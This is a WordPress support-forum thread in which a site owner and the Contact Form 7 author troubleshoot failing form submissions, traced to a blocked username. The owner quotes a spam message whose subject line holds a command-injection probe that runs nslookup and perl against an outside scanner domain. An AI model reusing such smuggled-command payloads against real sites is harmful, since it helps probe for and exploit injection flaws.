• I have been receiving complaints that my contact form is not working, but also receiving messages from some people. I just tried sending a number of messages with different return addresses. Listing an @aol.com address gives a consistent failure, with the message “There was an error sending your message….” Listing a @gmail.com address succeeds in sending, as does my @ybb.ne.jp. Why is CF7 rejecting some return addresses?

    In addition, I am receiving a huge number of messages (hundreds) within the space of a minute or two. Here is an example of the message body:

    From: ncMUFCMU <[email protected]>
    Subject: &(nslookup hitivtoiqjiofd3118.bxss.me||perl -e “gethostbyname(‘hitivtoiqjiofd3118.bxss.me’)”)&'”0&(nslookup hitivtoiqjiofd3118.bxss.me||perl -e "gethostbyname('hitivtoiqjiofd3118.bxss.me')")&

    Message Body:
    20


    This e-mail was sent from a contact form on Toby Marshall (https://toby-marshall.com)

    I am assuming this is some kind of spam or hacking attempt, or?

    TIA for any help,
    Toby

Viewing 15 replies - 1 through 15 (of 19 total)
  • Plugin Author Takayuki Miyoshi

    (@takayukister)

    Where can we see the website in question?

    Thread Starter tobymars

    (@tobymars)

    Plugin Author Takayuki Miyoshi

    (@takayukister)

    On which page do you have the form having the issue?

    Thread Starter tobymars

    (@tobymars)

    On the “Contact” page, which contains the mail form

    Plugin Author Takayuki Miyoshi

    (@takayukister)

    See Setting up mail

    What email settings do you have in the Mail tab panel?

    Thread Starter tobymars

    (@tobymars)

    To: [email protected]
    From: [your-name] <[email protected]>
    Subject: Toby Marshall “[your-subject]”
    Additional headers: Reply-To: [your-email]
    Message body: From: [your-name] <[your-email]>
    Subject: [your-subject]

    Message Body:
    [your-message]


    This e-mail was sent from a contact form on Toby Marshall (https://toby-marshall.com)

    Plugin Author Takayuki Miyoshi

    (@takayukister)

    I just tried sending a number of messages with different return addresses. Listing an @aol.com address gives a consistent failure, with the message “There was an error sending your message….” Listing a @gmail.com address succeeds in sending, as does my @ybb.ne.jp. Why is CF7 rejecting some return addresses?

    I don’t know which address in the setting is “return addresses” you mentioned. Do you mean the [your-email] input?

    Thread Starter tobymars

    (@tobymars)

    Yes, the [your-email] field. For several years I have gotten reports via Facebook that people tried to send me a mail via CF7 and either received an error message or it hung. I tried sending three e-mails from my phone giving different [your-email] addresses. From the Gmail domain it worked, from the ybb.ne.jp domain it worked, but consistently returned an error message from the AOL domain.

    Plugin Author Takayuki Miyoshi

    (@takayukister)

    What other plugins and theme do you use on the site?

    Thread Starter tobymars

    (@tobymars)

    I’m using Themify Phototouch as a theme. My installed plugins are:

    1. BackUpWordPress
    2. Classic Editor
    3. Contact Form 7
    4. Down ML – Download Media Library
    5. No Right Click Images Plugin
    6. Themify Builder (Inactive)
    7. Themify Updater
    8. Updraft Plus – Backup/Restore

    All are up to date.

    Thanks for your concern and help.

    Plugin Author Takayuki Miyoshi

    (@takayukister)

    Try switching to the default theme, deactivating all plugins excluding Contact Form 7 and Classic Editor, and clearing all cache data.

    Why you are advised to deactivate plugins and switch to the default theme.

    I’ve been seeing the same problem across many sites that I manage. I have learned that the error is occurring with google served mail and not with other email servers.

    For example, if I submit the contact form from a person with an email [email protected] it works with no error.

    if I submit the contact form with [email protected] or even [email protected] then wp_mail cannot properly instantiate. line 135 of wpcf7/includes/mail just fails.

    I think that it must be something with the replyto header that is automatically set to the [your-email] who has submitted the form. It is possible that this can cause an error.

    Thread Starter tobymars

    (@tobymars)

    This gets stranger…I tried sending a bunch of mails to myself using different hypothetical e-mail addresses but the same user name. For example I tried sending the following:

    [email protected], [email protected], [email protected]. All went through successfully. It is not the domain.

    Then I switched the user name with the same domains: [email protected], [email protected], [email protected]. I got an error with all of these. None went through.

    Perhaps someone could try could try to send mail to another site using the user name magassia with different domains and see if this is only my problem.

    I did deactivate all my plugins and switch to default theme (now twenty twenty one) and I get the same error using the name “magassia”. There must be other text strings that have the same effect, since I have received other reports of people trying to contact me on the CF7 form and having the same problem.

    Thread Starter tobymars

    (@tobymars)

    The double s in the user name magassia seems to be a problem. I tried [email protected] and it went through. I tried [email protected] and it failed. I tried [email protected] and it went through. I tried [email protected] and it failed, I tried [email protected] and it went through.

    Hello @tobymars,

    I just performed several tests in your contact form, and I was able to verify that indeed the name magassia returns a validation error when sending, but not every username with double “s” (I try with another double “s” usernames and the messages were sent).

    Can you please check the Disallowed Comment Keys in your Dashboard > Settings > Discussion area? If not, you may have another antispam method that prevent the submission from this username, perhaps using disallowed words.

    Hope it helps!

    Best regards,
    Yordan.

Viewing 15 replies - 1 through 15 (of 19 total)
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